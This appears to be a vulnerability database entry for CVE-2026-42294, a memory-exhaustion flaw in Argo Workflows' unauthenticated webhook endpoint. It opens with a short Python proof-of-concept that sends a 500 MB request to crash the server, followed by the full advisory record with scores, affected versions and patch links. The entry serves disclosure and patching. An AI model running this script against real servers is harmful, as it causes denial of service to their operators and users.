CVE-2026-42294

import requests # Target URL of the vulnerable Argo Workflows server target_url = "http://target-argo-server:2746/api/v1/events/" # Generate a large payload to trigger OOM # 500MB payload to exhaust memory large_payload = b"A" * (500 * 1024 * 1024) try: print("Sending large payload to trigger OOM...") # Exploit the unauthenticated endpoint response = requests.post(target_url, data=large_payload, timeout=10) print(f"Response status code: {response.status_code}") except Exception as e: print(f"Request failed (server likely crashed): {e}")

{"cve": {"id": "CVE-2026-42294", "sourceIdentifier": "[email protected]", "published": "2026-05-09T04:16:24.903", "lastModified": "2026-05-14T18:34:34.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.7.14 and 4.0.5, the Webhook Interceptor loads the entire request body into memory before authenticating the request or verifying its signature. This occurs on the /api/v1/events/ endpoint, which is publicly accessible (albeit intended for webhooks). An attacker can send a request with an extremely large body (e.g., multiple gigabytes), causing the Argo Server to allocate excessive memory, potentially leading to an Out-Of-Memory (OOM) crash and denial of service. This issue has been patched in versions 3.7.14 and 4.0.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionEndExcluding": "3.7.14", "matchCriteriaId": "A2883DF4-7751-4133-BB8B-02F2DF7D50D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.5", "matchCriteriaId": "675D5F2B-A490-42EB-B1A1-0CE05D2BB4CF"}]}]}], "references": [{"url": "https://github.com/argoproj/argo-workflows/commit/7abb4de6c3599e2d5d960ba4d5de4cf1df109965", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/argoproj/argo-workflows/releases/tag/v3.7.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-jcc8-g2q4-9fxq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-jcc8-g2q4-9fxq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}